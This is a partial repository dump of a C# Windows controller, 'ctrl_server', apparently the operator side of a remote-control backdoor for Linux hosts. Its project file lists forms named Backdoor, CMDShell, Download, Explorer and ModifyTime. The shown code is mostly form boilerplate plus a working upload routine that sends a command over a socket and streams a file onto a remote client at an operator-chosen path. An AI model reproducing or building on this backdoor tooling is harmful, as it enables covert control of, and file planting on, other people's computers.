154 | btnExecuteCmd_Click(sender, e);
155 | }
156 | }
157 | }
158 | }
159 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Shell2.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/StateObject.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Linq;
4 | using System.Text;
5 | using System.Net.Sockets;
6 |
7 | namespace ctrl_server
8 | {
9 | public class StateObject
10 | {
11 | // Client socket.
12 | public Socket workSocket = null;
13 | // Size of receive buffer.
14 | public const int BufferSize = 1024;
15 | // Receive buffer.
16 | public byte[] buffer = new byte[BufferSize];
17 | // Received data string.
18 | public StringBuilder sb = new StringBuilder();
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Upload.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class Upload
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.label1 = new System.Windows.Forms.Label();
32 | this.btnUpload = new System.Windows.Forms.Button();
33 | this.txtSoucePath = new System.Windows.Forms.TextBox();
34 | this.btnExplore = new System.Windows.Forms.Button();
35 | this.label2 = new System.Windows.Forms.Label();
36 | this.txtTargetPath = new System.Windows.Forms.TextBox();
37 | this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
38 | this.SuspendLayout();
39 | //
40 | // label1
41 | //
42 | this.label1.AutoSize = true;
43 | this.label1.Location = new System.Drawing.Point(12, 31);
44 | this.label1.Name = "label1";
45 | this.label1.Size = new System.Drawing.Size(65, 12);
46 | this.label1.TabIndex = 0;
47 | this.label1.Text = "源文件路径";
48 | //
49 | // btnUpload
50 | //
51 | this.btnUpload.Location = new System.Drawing.Point(307, 98);
52 | this.btnUpload.Name = "btnUpload";
53 | this.btnUpload.Size = new System.Drawing.Size(75, 23);
54 | this.btnUpload.TabIndex = 1;
55 | this.btnUpload.Text = "上传";
56 | this.btnUpload.UseVisualStyleBackColor = true;
57 | this.btnUpload.Click += new System.EventHandler(this.btnUpload_Click);
58 | //
59 | // txtSoucePath
60 | //
61 | this.txtSoucePath.Location = new System.Drawing.Point(83, 28);
62 | this.txtSoucePath.Name = "txtSoucePath";
63 | this.txtSoucePath.Size = new System.Drawing.Size(202, 21);
64 | this.txtSoucePath.TabIndex = 2;
65 | //
66 | // btnExplore
67 | //
68 | this.btnExplore.Location = new System.Drawing.Point(307, 26);
69 | this.btnExplore.Name = "btnExplore";
70 | this.btnExplore.Size = new System.Drawing.Size(75, 23);
71 | this.btnExplore.TabIndex = 3;
72 | this.btnExplore.Text = "浏览";
73 | this.btnExplore.UseVisualStyleBackColor = true;
74 | this.btnExplore.Click += new System.EventHandler(this.btnExplore_Click);
75 | //
76 | // label2
77 | //
78 | this.label2.AutoSize = true;
79 | this.label2.Location = new System.Drawing.Point(12, 60);
80 | this.label2.Name = "label2";
81 | this.label2.Size = new System.Drawing.Size(53, 12);
82 | this.label2.TabIndex = 4;
83 | this.label2.Text = "目标路径";
84 | //
85 | // txtTargetPath
86 | //
87 | this.txtTargetPath.Location = new System.Drawing.Point(83, 57);
88 | this.txtTargetPath.Name = "txtTargetPath";
89 | this.txtTargetPath.Size = new System.Drawing.Size(202, 21);
90 | this.txtTargetPath.TabIndex = 5;
91 | //
92 | // openFileDialog1
93 | //
94 | this.openFileDialog1.FileName = "openFileDialog1";
95 | //
96 | // Upload
97 | //
98 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
99 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
100 | this.ClientSize = new System.Drawing.Size(417, 133);
101 | this.Controls.Add(this.txtTargetPath);
102 | this.Controls.Add(this.label2);
103 | this.Controls.Add(this.btnExplore);
104 | this.Controls.Add(this.txtSoucePath);
105 | this.Controls.Add(this.btnUpload);
106 | this.Controls.Add(this.label1);
107 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
108 | this.Name = "Upload";
109 | this.Text = "Upload";
110 | this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Upload_FormClosing);
111 | this.Load += new System.EventHandler(this.Upload_Load);
112 | this.ResumeLayout(false);
113 | this.PerformLayout();
114 |
115 | }
116 |
117 | #endregion
118 |
119 | private System.Windows.Forms.Label label1;
120 | private System.Windows.Forms.Button btnUpload;
121 | private System.Windows.Forms.TextBox txtSoucePath;
122 | private System.Windows.Forms.Button btnExplore;
123 | private System.Windows.Forms.Label label2;
124 | private System.Windows.Forms.TextBox txtTargetPath;
125 | private System.Windows.Forms.OpenFileDialog openFileDialog1;
126 | }
127 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Upload.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 | using System.Net;
10 | using System.Net.Sockets;
11 | using System.Threading;
12 | using System.IO;
13 |
14 | namespace ctrl_server
15 | {
16 | public partial class Upload : Form
17 | {
18 | public Socket client_socket;
19 | private FileStream fs;
20 | private FileInfo fileinfo;
21 |
22 |
23 |
24 | public Upload()
25 | {
26 | InitializeComponent();
27 | }
28 |
29 | private void btnExplore_Click(object sender, EventArgs e)
30 | {
31 | this.openFileDialog1.Filter = "文本文件(*.txt)|*.txt|所有文件(*.*)|*.*";
32 | openFileDialog1.FileName = "";
33 | if (this.openFileDialog1.ShowDialog() == DialogResult.OK)
34 | {
35 | string FileName = this.openFileDialog1.FileName;
36 | // 你的 处理文件路径代码
37 | txtSoucePath.Text = FileName;
38 | }
39 | }
40 |
41 | private void btnUpload_Click(object sender, EventArgs e)
42 | {
43 |
44 | if (txtSoucePath.Text == "")
45 | {
46 | MessageBox.Show("Open a file for upload.....");
47 | return;
48 | }
49 | if (txtTargetPath.Text == "")
50 | {
51 | MessageBox.Show("Enter the target path");
52 | return;
53 | }
54 |
55 | try
56 | {
57 | fileinfo = new FileInfo(txtSoucePath.Text);
58 | string cmd = "";
59 | cmd += "UPLOAD\n";
60 | cmd += txtTargetPath.Text + "\n";
61 | cmd += fileinfo.Length.ToString() + "\n";
62 | byte[] buf = Encoding.ASCII.GetBytes(cmd);
63 | fs = new FileStream(txtSoucePath.Text, FileMode.Open);
64 | client_socket.Send(buf, buf.Length, SocketFlags.None); //发命令
65 | }
66 | catch (Exception ex)
67 | {
68 | MessageBox.Show(ex.Message);
69 | return;
70 | }
71 |
72 | Form1.allDone.WaitOne();//等待完成
73 | Socket res_client = Form1.resClientSocket;
74 | Form1.resClientSocket = null;
75 | Form1.allDone.Reset();
76 | ///////////////
77 | if (res_client == null)
78 | {
79 | MessageBox.Show("反馈错误");
80 | return;
81 | }
82 | ////////////
83 | byte [] buf1 = new byte[1024];
84 | int len;
85 | len = res_client.Receive(buf1, buf1.Length, SocketFlags.None);
86 | string tmpstr;
87 | tmpstr = Encoding.ASCII.GetString(buf1, 0, len);
88 | if (tmpstr != "SUCCESS")
89 | {
90 | MessageBox.Show("客户端文件创建失败");
91 | res_client.Close();
92 | res_client = null;
93 | return;
94 | }
95 |
96 | fs.Position = 0;
97 | while (true)
98 | {
99 | len = fs.Read(buf1, 0, buf1.Length);
100 |
101 | res_client.Send(buf1, len, SocketFlags.None);
102 | if (fs.Position >= fileinfo.Length - 1)
103 | {
104 | break;
105 | }
106 | }
107 | fs.Close();
108 | fs = null;
109 | res_client.Close();
110 | MessageBox.Show("上传完成");
111 | }
112 |
113 | private void Upload_Load(object sender, EventArgs e)
114 | {
115 |
116 | if (client_socket == null)
117 | {
118 | MessageBox.Show("Client Socket is nulll");
119 | this.Close();
120 | return;
121 | }
122 |
123 |
124 | }
125 |
126 |
127 |
128 | private void Upload_FormClosing(object sender, FormClosingEventArgs e)
129 | {
130 |
131 | }
132 |
133 |
134 | }
135 | }
136 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/Upload.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/UploadFileName.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace ctrl_server
2 | {
3 | partial class FileName
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.label1 = new System.Windows.Forms.Label();
32 | this.textBox1 = new System.Windows.Forms.TextBox();
33 | this.button1 = new System.Windows.Forms.Button();
34 | this.button2 = new System.Windows.Forms.Button();
35 | this.SuspendLayout();
36 | //
37 | // label1
38 | //
39 | this.label1.AutoSize = true;
40 | this.label1.Location = new System.Drawing.Point(12, 31);
41 | this.label1.Name = "label1";
42 | this.label1.Size = new System.Drawing.Size(89, 12);
43 | this.label1.TabIndex = 0;
44 | this.label1.Text = "上传文件名为:";
45 | //
46 | // textBox1
47 | //
48 | this.textBox1.Location = new System.Drawing.Point(107, 28);
49 | this.textBox1.Name = "textBox1";
50 | this.textBox1.Size = new System.Drawing.Size(276, 21);
51 | this.textBox1.TabIndex = 1;
52 | this.textBox1.TextChanged += new System.EventHandler(this.textBox1_TextChanged);
53 | //
54 | // button1
55 | //
56 | this.button1.Location = new System.Drawing.Point(76, 62);
57 | this.button1.Name = "button1";
58 | this.button1.Size = new System.Drawing.Size(75, 23);
59 | this.button1.TabIndex = 2;
60 | this.button1.Text = "OK";
61 | this.button1.UseVisualStyleBackColor = true;
62 | this.button1.Click += new System.EventHandler(this.button1_Click);
63 | //
64 | // button2
65 | //
66 | this.button2.Location = new System.Drawing.Point(248, 62);
67 | this.button2.Name = "button2";
68 | this.button2.Size = new System.Drawing.Size(75, 23);
69 | this.button2.TabIndex = 3;
70 | this.button2.Text = "Cancel";
71 | this.button2.UseVisualStyleBackColor = true;
72 | this.button2.Click += new System.EventHandler(this.button2_Click);
73 | //
74 | // FileName
75 | //
76 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
77 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
78 | this.ClientSize = new System.Drawing.Size(424, 97);
79 | this.Controls.Add(this.button2);
80 | this.Controls.Add(this.button1);
81 | this.Controls.Add(this.textBox1);
82 | this.Controls.Add(this.label1);
83 | this.Name = "FileName";
84 | this.Text = "UploadFileName";
85 | this.Load += new System.EventHandler(this.FileName_Load);
86 | this.ResumeLayout(false);
87 | this.PerformLayout();
88 |
89 | }
90 |
91 | #endregion
92 |
93 | private System.Windows.Forms.Label label1;
94 | private System.Windows.Forms.TextBox textBox1;
95 | private System.Windows.Forms.Button button1;
96 | private System.Windows.Forms.Button button2;
97 | }
98 | }
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/UploadFileName.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace ctrl_server
11 | {
12 | public partial class FileName : Form
13 | {
14 | public string fileName;
15 |
16 | public FileName()
17 | {
18 | InitializeComponent();
19 | }
20 |
21 |
22 | private void textBox1_TextChanged(object sender, EventArgs e)
23 | {
24 |
25 | }
26 |
27 | private void button1_Click(object sender, EventArgs e)
28 | {
29 | fileName = textBox1.Text;
30 | this.DialogResult = System.Windows.Forms.DialogResult.OK;
31 | this.Close();
32 | }
33 |
34 | private void button2_Click(object sender, EventArgs e)
35 | {
36 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel;
37 | this.Close();
38 | }
39 |
40 | private void FileName_Load(object sender, EventArgs e)
41 | {
42 | if (fileName != null)
43 | {
44 | textBox1.Text = fileName;
45 | }
46 | }
47 | }
48 | }
49 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/UploadFileName.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/bin/Debug/ctrl_server.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/bin/Debug/ctrl_server.exe
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/bin/Debug/ctrl_server.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/bin/Debug/ctrl_server.pdb
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/bin/Debug/ctrl_server.vshost.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/bin/Debug/ctrl_server.vshost.exe
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/bin/Debug/ctrl_server.vshost.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/ctrl_server.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | x86
6 | 8.0.30703
7 | 2.0
8 | {145AA3C8-B33C-477F-8C7F-310D57AD00CF}
9 | WinExe
10 | Properties
11 | ctrl_server
12 | ctrl_server
13 | v3.5
14 | 512
15 |
16 |
17 | x86
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | x86
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 | Form
49 |
50 |
51 | Backdoor.cs
52 |
53 |
54 | Form
55 |
56 |
57 | CMDShell.cs
58 |
59 |
60 |
61 | Form
62 |
63 |
64 | DownloadForm.cs
65 |
66 |
67 | Form
68 |
69 |
70 | ExplorerForm.cs
71 |
72 |
73 | Form
74 |
75 |
76 | Form1.cs
77 |
78 |
79 | Form
80 |
81 |
82 | ModifyTime.cs
83 |
84 |
85 |
86 |
87 | Form
88 |
89 |
90 | RenameForm.cs
91 |
92 |
93 | Form
94 |
95 |
96 | Shell2.cs
97 |
98 |
99 |
100 | Form
101 |
102 |
103 | Upload.cs
104 |
105 |
106 | Form
107 |
108 |
109 | UploadFileName.cs
110 |
111 |
112 | Backdoor.cs
113 |
114 |
115 | CMDShell.cs
116 |
117 |
118 | DownloadForm.cs
119 |
120 |
121 | ExplorerForm.cs
122 |
123 |
124 | Form1.cs
125 |
126 |
127 | ModifyTime.cs
128 |
129 |
130 | ResXFileCodeGenerator
131 | Resources.Designer.cs
132 | Designer
133 |
134 |
135 | True
136 | Resources.resx
137 |
138 |
139 | RenameForm.cs
140 |
141 |
142 | Shell2.cs
143 |
144 |
145 | Upload.cs
146 |
147 |
148 | UploadFileName.cs
149 |
150 |
151 | SettingsSingleFileGenerator
152 | Settings.Designer.cs
153 |
154 |
155 | True
156 | Settings.settings
157 | True
158 |
159 |
160 |
161 |
168 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/GenerateResource-ResGen.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/GenerateResource-ResGen.read.1.tlog
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/GenerateResource-ResGen.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/GenerateResource-ResGen.write.1.tlog
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Backdoor.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Backdoor.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.CMDShell.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.CMDShell.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.DownloadForm.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.DownloadForm.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.ExplorerForm.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.ExplorerForm.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.FileName.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.FileName.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Form1.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Form1.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.ModifyTime.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.ModifyTime.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Properties.Resources.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Rename.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Rename.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Shell2.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Shell2.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Upload.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.Upload.resources
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\bin\Debug\ctrl_server.exe
2 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\bin\Debug\ctrl_server.pdb
3 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ResolveAssemblyReference.cache
4 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Form1.resources
5 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Properties.Resources.resources
6 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\GenerateResource-ResGen.read.1.tlog
7 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\GenerateResource-ResGen.write.1.tlog
8 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.exe
9 | c:\documents and settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.pdb
10 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.CMDShell.resources
11 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Backdoor.resources
12 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Upload.resources
13 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.DownloadForm.resources
14 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.ExplorerForm.resources
15 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.FileName.resources
16 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Rename.resources
17 | C:\Documents and Settings\chen\my documents\visual studio 2010\Projects\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.ModifyTime.resources
18 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.exe
19 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.pdb
20 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\bin\Debug\ctrl_server.exe
21 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\bin\Debug\ctrl_server.pdb
22 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ResolveAssemblyReference.cache
23 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Backdoor.resources
24 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.CMDShell.resources
25 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.DownloadForm.resources
26 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.ExplorerForm.resources
27 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Form1.resources
28 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.ModifyTime.resources
29 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Properties.Resources.resources
30 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Rename.resources
31 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Upload.resources
32 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.FileName.resources
33 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\GenerateResource-ResGen.read.1.tlog
34 | C:\Documents and Settings\chen\My Documents\ctrl_server\ctrl_server\obj\x86\Debug\GenerateResource-ResGen.write.1.tlog
35 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.exe
36 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.pdb
37 | C:\ctrl_server\ctrl_server\bin\Debug\ctrl_server.exe
38 | C:\ctrl_server\ctrl_server\bin\Debug\ctrl_server.pdb
39 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ResolveAssemblyReference.cache
40 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Backdoor.resources
41 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.CMDShell.resources
42 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.DownloadForm.resources
43 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.ExplorerForm.resources
44 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Form1.resources
45 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.ModifyTime.resources
46 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Properties.Resources.resources
47 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Rename.resources
48 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Shell2.resources
49 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.Upload.resources
50 | C:\ctrl_server\ctrl_server\obj\x86\Debug\ctrl_server.FileName.resources
51 | C:\ctrl_server\ctrl_server\obj\x86\Debug\GenerateResource-ResGen.read.1.tlog
52 | C:\ctrl_server\ctrl_server\obj\x86\Debug\GenerateResource-ResGen.write.1.tlog
53 |
--------------------------------------------------------------------------------
/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/im-bill/linux-rc/982ea301dde12b95ec1a8e3357fe13eb9592a71b/ctrl_server_win/ctrl_server/obj/x86/Debug/ctrl_server.exe
--------------------------------------------------------------------------------
